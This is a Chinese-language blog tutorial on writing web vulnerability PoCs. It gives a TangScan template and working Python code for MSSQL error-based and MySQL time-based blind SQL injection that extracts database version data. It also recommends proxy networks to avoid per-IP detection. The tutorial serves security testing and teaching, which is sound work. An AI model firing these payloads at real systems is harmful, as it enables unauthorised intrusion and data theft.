如何编写优秀的 Web 漏洞 PoC

1.PoC概述(快速扫盲)

POC(Proof of Concept),直译为“概念证明”(漏洞证明)

它可能仅仅只是一小段代码,功能也比较简单,只要能够用来验证某一个或者一类漏洞真实存在即可

大家都很清楚,如果想要验证一个漏洞,我们需要针对这个漏洞进行一系列的探索和研究。经过研究成因和原理之后,我们通常希望得到如下结论作为输出:

  • 漏洞的研究报告
  • 漏洞的 PoC(概念性验证):可以简单理解为一段可以验证一个目标是否存在这个漏洞的程序/代码/脚本
  • 漏洞的利用方式:对这个漏洞造成危害的利用和实践

为了解决速度问题,可以尝试在漏洞检测之前编写简单的指纹识别,筛除一些不合理的目标

POC框架?

POC框架可以对大量POC进行管理与调度,提供了统一的编程规范与接口,是编写POC很好的帮手。我们只需要按照框架自定义的格式写好POC,然后放在框架中运行即可。目前国内有很多非常优秀框架


2.做菜的调料

编写POC需要做一些基础性的准备工作

1、构建POC框架

可以直接选择上面开源的POC框架,也可以自己写框架。选好框架后,需要熟练掌握框架的代码规范和接口,这些都是编写高质量POC的基础。当然了,这个不是必须的步骤,我们也可以不使用框架而直接编写POC,但是不建议这么做

2、熟悉漏洞详情

不管是自己挖的漏洞,还是公开漏洞,在写POC之前,首先需要把漏洞详情搞清楚。对于一些开源CMS,可以到官网或者github上找到对应版本的源码,搭建模拟环境进行研究;有些不开源的漏洞,可以在网上找一些案例进行黑盒测试,复原漏洞产生过程(别做破坏性试验)。最好再撰写一份属于自己的漏洞分析报告,这样可以加深对漏洞的理解,为编写POC打下更坚实的基础

3、构建漏洞靶场

调试POC最好还是搭建模拟环境,一般可以利用虚拟机或者Docker来实现。不到万不得已,非常不建议大家直接利用互联网上的Web应用来调试POC,以免对目标造成破坏

4、选择编程语言

语言只是工具载体,并不局限,这里推荐Python和YAK(新一代为渗透而生的语言)语言


3.做菜的规矩

1、降低误报率

尽量选择一些“特殊”的字符串作为判断漏洞的特征值。比如我们编写验证SQL注入漏洞的POC时,就可以充分利用数据库的特性:

例如:MySQL内置了md5函数,可以用其来输出某个数字的md5值:

 select md5(1);

在这里插入图片描述

但是固定计算某个数字的md5值,特征还是有点明显,加上随机数:

 #生成随机数
rand_num=random.randint(0,1000)
计算md5值
hash_flag=hashlib.md5(str(rand_num)).hexdigest()#利用注入计算md5
…select md5({num}).format(num=rand_num)

2、不要带有破坏性

执行POC不能对目标造成破坏,只要验证漏洞存在就可以了

3、尽可能降低访问频率

比如盲注漏洞利用,需要不断向服务器发包,在编写POC时,应该适当减少发包频率,可以sleep,也可以考虑在自己的POC框架中加入代理资源


4.美味菜肴

Tangscan框架POC文档的结构如下:

#! /usr/bin/env python
# -*- coding: utf-8 -*-

from modules.exploit import TSExploit

class TangScan(TSExploit):
    """
    类名必须是TangScan,而且需要继承于TSExploit
    """
    def __init__(self):
        super(self.__class__, self).__init__()
        self.info = {
            "name": "",  # 该POC的名称
            "product": "",  # 该POC所针对的应用名称, 严格按照 tangscan 主页上的进行填写
            "product_version": "",  # 应用的版本号
            "desc": """

            """,  # 该POC的描述
            "license": self.license.TS,  # POC的版权信息
            "author": [""],  # 编写POC者
            "ref": [
                {self.ref.url: ""},  # 引用的url
                {self.ref.wooyun: ""},  # wooyun案例
            ],
            "type": self.type.injection,  # 漏洞类型
            "severity": self.severity.high,  # 漏洞等级
            "privileged": False,  # 是否需要登录
            "disclosure_date": "2014-09-17",  # 漏洞公开时间
            "create_date": "2014-09-17",  # POC 创建时间
        }

        self.register_option({
            "url": {  # POC 的参数 url
                "default": "",  # 参数的默认值
                "required": True,  # 参数是否必须
                "choices": [],  # 参数的可选值
                "convert": self.convert.url_field,  # 参数的转换函数
                "desc": ""  # 参数的描述
            }
        })

        self.register_result({
            "status": False,  # POC 的返回状态
            "data": {

            },  # POC 的返回数据
            "description": "",  # POC 返回对人类良好的信息
            "error": ""  # POC 执行失败的原因
        })

    def verify(self):
        """
        验证类型,尽量不触发waf规则
        :return:
        """
        pass

    def exploit(self):
        """
        攻击类型
        :return:
        """
        pass


if __name__ == '__main__':
    from modules.main import main
    main(TangScan())

有了模板,我们现在需要做的其实就是“填空”。最主要的就是实现verifyexploit两个函数(Tangscan将POC与EXP集合在一起了)。也可以只完成其中一个函数,另外一个做如下处理:

def exploit(self):
    return self.verify()

下面就选取SQL注入漏洞POC编写的例子,来大概描述下POC编写的一些常用技巧。

SQL注入大致上可以分为非盲注和盲注两大类:

非盲注类型

非盲注注入也有很多种,比如回显报错、Union查询等。这里编写回显报错注入的POC代码,其他类型的编写技巧比较类似。回显报错注入可以直接从报错信息中读取数据。构造计算md5值的payload作为verify函数,利用SQL提取数据库版本信息的payload作为exploit函数。下面是一个MSSQL报错回显注入的例子:

def verify(self):
    rand_num=random.randint(0,1000)
    hash_flag=hashlib.md5(str(rand_num)).hexdigest()
    payload=("1' and sys.fn_varbintohexstr(hashbytes('MD5', '{num}'))=0 and '1'='1").format(num=rand_num)
    exp_url="{domain}/xxxx?sql={py}".format(domain=self.option.url,py=payload)
    try:
        response = requests.get(url=exp_url, timeout=15, verify=False)
    except Exception, e:
        self.result.error = str(e)
        return
    if hash_flag not in response.content:
        self.result.status = False
        return
    self.result.status = True
    self.result.description = "目标 {url} 存在SQL注入漏洞,\n\t测试链接: {eurl}".format(
        url=self.option.url,
        eurl=exp_url
    )

def exploit(self):
    exp_url="{domain}/xxxx?sql=a' and 1=CONVERT(int,CHAR(126)%2BCHAR(126)%2BCHAR(126)%2B@@version%2BCHAR(126)%2BCHAR(126)%2BCHAR(126))--".format(domain=self.option.url.rstrip('/'))
    try:
        response = requests.get(url=exp_url, timeout=15, verify=False)
        result = re.findall(r'~~~(.*?)~~~', response.content, re.S | re.I)
    except Exception, e:
        self.result.error = str(e)
        return

    if len(result) == 0:
        self.result.status = False
        return
    self.result.status = True
    self.result.description = "目标 {url} 存在SQL注入漏洞, 获取到的数据库版本信息: {version}\n\t测试链接: {eurl}".format(
        url=self.option.url,
        version=result[0],
        eurl=exp_url
    )

上面的exploit函数利用’~~~’将版本信息包住,是为了方便利用正则表达式提取,并且在payload中进行了编码处理,这种方式在方便我们提取信息的同时,也起到了降低误报率的作用,在编写POC的过程中经常用到

盲注类型

盲注类型也有好几种,比如Boolen盲注、时间延迟注入等。盲注需要不断提交请求,从而获取完整的数据信息。这里以MySQL时间延迟注入类型为例:

def verify(self):
    return self.exploit()

def exploit(self):
    ver = ""
    ver_len = 0
    exp_url = ("{domain}/xxxx?sql=".format(domain=self.option.url))
    payloads = ['@','_','.', '-', '1', '2', '3', '4', '5', '6', '7', '8', '9', '0']+ list(string.ascii_lowercase)
    l = "1' AND (SELECT * FROM (SELECT(if(length(substring(version(),1))=%s,sleep(8),0)))a) AND 'a'='a"
    s = "1' AND (SELECT * FROM (SELECT(if(ascii(lower(mid(version(),%s,1)))=%s,sleep(6),0)))a) AND 'a'='a"

    #获取长度
    for x in range(1, 30):
        start = time.time()
        py=l % str(x)
        vulurl=exp_url+py
        try:
            response = requests.get(vulurl,timeout=15, verify=False)
            #限制访问速度
            time.sleep(0.5)
            if response.status_code != 200:
                self.result.status = False
                return
        except Exception,e:
            self.result.error = str(e)
            return
        end = time.time()
        if (end - start) >=8:
            ver_len = x
            break

    if ver_len == 0:
        self.result.status = False
        return

    #移位获取数据
    for x in range(1, ver_len+1):
        for payload in payloads:
            start = time.time()
            py= s % (str(x), str(ord(payload)))
            vulurl=exp_url+py
            try:
                response = requests.get(vulurl, timeout=15, verify=False)
                #限制请求速率
                time.sleep(0.5)
                if response.status_code != 200:
                    self.result.status = False
                    return
            except Exception,e:
                self.result.error = str(e)
                return
            end = time.time()
            if (end - start) >=6:
                ver = ver + payload
    #检查长度
    if len(ver)!=ver_len:
        self.result.status = False
        return
    self.result.status = True
    self.result.description = "目标 {url} 存在SQL注入漏洞, 获取到的当前数据库版本为:{db_ver}".format(
        url=self.option.url,
        db_ver=ver
    )

上面的exploit函数采用移位方式来获取数据库版本信息,还可以利用二分法等更高效的方法来实现,大家可以尝试编写。

为了防止同一IP地址频繁访问目标URL,代码中通过sleep方式来限制访问速度,更好的方法是构建自己的代理网络,使用代理方式来实现

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

世界尽头与你

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值